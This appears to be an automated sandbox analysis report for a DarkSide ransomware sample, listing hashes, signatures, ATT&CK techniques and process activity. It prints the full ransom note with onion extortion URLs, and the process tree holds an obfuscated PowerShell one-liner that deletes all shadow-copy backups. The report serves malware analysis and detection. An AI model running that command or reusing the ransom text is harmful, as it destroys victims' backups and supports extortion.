darkside | c5741701b3866459dd1ffa2477cfd8776713612912693a5897f78aac795d23e9

Resubmissions

31/03/2025, 00:22

250331-apdw1ssjs8 10

28/03/2025, 22:52

250328-2tfd7avl15 10

25/03/2025, 14:57

250325-sb3mbsxxht 10

Analysis

max time kernel
435s
max time network
556s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20250314-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250314-enlocale:en-usos:windows10-ltsc_2021-x64system
submitted
28/03/2025, 22:52

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General

Target

RansomwareSamples/DarkSide_18_11_2020_17KB.exe
Size

17KB
MD5

f87a2e1c3d148a67eaeb696b1ab69133
SHA1

d1dfe82775c1d698dd7861d6dfa1352a74551d35
SHA256

9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
SHA512

e361811b07a66d9a784be37bdace0bdec9e11374083d7ccf7d9830e47a59afa8b9d12d80d4d47ea1932116354ad60bbc8ea6a6a265885d264b35486986415ea3
SSDEEP

384:SGyUrEk/yEoQE+yckIYN/pBa3AWK3T2oTboHblKR/:l4klFypIYFpB/x9ngb

Score

10^/10

darkside credential_access discovery execution ransomware spyware stealer upx

Malware Config

Extracted

Path

C:\Recovery\README.740d9cc4.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Darkside family
darkside
Renames multiple (169) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5864	powershell.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral11/memory/1972-0-0x00000000003B0000-0x00000000003C0000-memory.dmp	upx
behavioral11/memory/1972-235-0x00000000003B0000-0x00000000003C0000-memory.dmp	upx
behavioral11/memory/1972-242-0x00000000003B0000-0x00000000003C0000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DarkSide_18_11_2020_17KB.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1972	DarkSide_18_11_2020_17KB.exe
1972	DarkSide_18_11_2020_17KB.exe
5864	powershell.exe
5864	powershell.exe
1972	DarkSide_18_11_2020_17KB.exe
1972	DarkSide_18_11_2020_17KB.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeSecurityPrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeTakeOwnershipPrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeLoadDriverPrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeSystemProfilePrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeSystemtimePrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeProfSingleProcessPrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeIncBasePriorityPrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeCreatePagefilePrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeBackupPrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeRestorePrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeShutdownPrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeDebugPrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeSystemEnvironmentPrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeRemoteShutdownPrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeUndockPrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: SeManageVolumePrivilege	1972	DarkSide_18_11_2020_17KB.exe
Token: 33	1972	DarkSide_18_11_2020_17KB.exe
Token: 34	1972	DarkSide_18_11_2020_17KB.exe
Token: 35	1972	DarkSide_18_11_2020_17KB.exe
Token: 36	1972	DarkSide_18_11_2020_17KB.exe
Token: SeDebugPrivilege	5864	powershell.exe
Token: SeBackupPrivilege	2376	vssvc.exe
Token: SeRestorePrivilege	2376	vssvc.exe
Token: SeAuditPrivilege	2376	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1972 wrote to memory of 5864	1972	DarkSide_18_11_2020_17KB.exe	81
PID 1972 wrote to memory of 5864	1972	DarkSide_18_11_2020_17KB.exe	81

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_18_11_2020_17KB.exe
"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_18_11_2020_17KB.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5864

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Recovery\README.740d9cc4.TXT

Filesize
2KB

MD5
25d0b19a0ec34a39dfa3e177866f01a3

SHA1
a3704d1f6499738ccd694bdd6008a850c6b2e453

SHA256
f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8

SHA512
ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
4521e67a3b03b060fde700c36d3b9297

SHA1
4a730cd86dc7a57ac001d59853dd500c1b83b4ab

SHA256
a72aa223a84c4fa011c8a2b0ef2475a83d5123de2cdfa6a7160231729e68383d

SHA512
90235850eef71c2f0921d04e6990147af9e76fec8ee49e12e6a5bab065ff0e63331a54be845026f17a7b1dd230ee94843099db4813c127c6bafb8cbaf59b753f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9cc524034084d747571da616472bb48b

SHA1
077ac6506f66d7fdcf0571a3f86d84ab9b1a1f84

SHA256
3e491c5dc1b0b4a2e6111035d71faa6dd5decd1b15b53ec31fde67c61154d425

SHA512
d0f77b3bb7e3b5276bc1d0e93649e5951084cf8a25d642cefaafe2c53fde7593a73ee2a742bc089d0f80481f54c0914b58e359a2030edc6c23608c400b806338

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3lgeamcj.2aj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1972-0-0x00000000003B0000-0x00000000003C0000-memory.dmp

Filesize
64KB

Download
memory/1972-235-0x00000000003B0000-0x00000000003C0000-memory.dmp

Filesize
64KB

Download
memory/1972-242-0x00000000003B0000-0x00000000003C0000-memory.dmp

Filesize
64KB

Download
memory/5864-12-0x00007FFBDD830000-0x00007FFBDE2F2000-memory.dmp

Filesize
10.8MB

Download
memory/5864-13-0x00007FFBDD830000-0x00007FFBDE2F2000-memory.dmp

Filesize
10.8MB

Download
memory/5864-14-0x00007FFBDD830000-0x00007FFBDE2F2000-memory.dmp

Filesize
10.8MB

Download
memory/5864-17-0x00007FFBDD830000-0x00007FFBDE2F2000-memory.dmp

Filesize
10.8MB

Download
memory/5864-7-0x0000024E77FD0000-0x0000024E77FF2000-memory.dmp

Filesize
136KB

Download
memory/5864-1-0x00007FFBDD833000-0x00007FFBDD835000-memory.dmp

Filesize
8KB

Download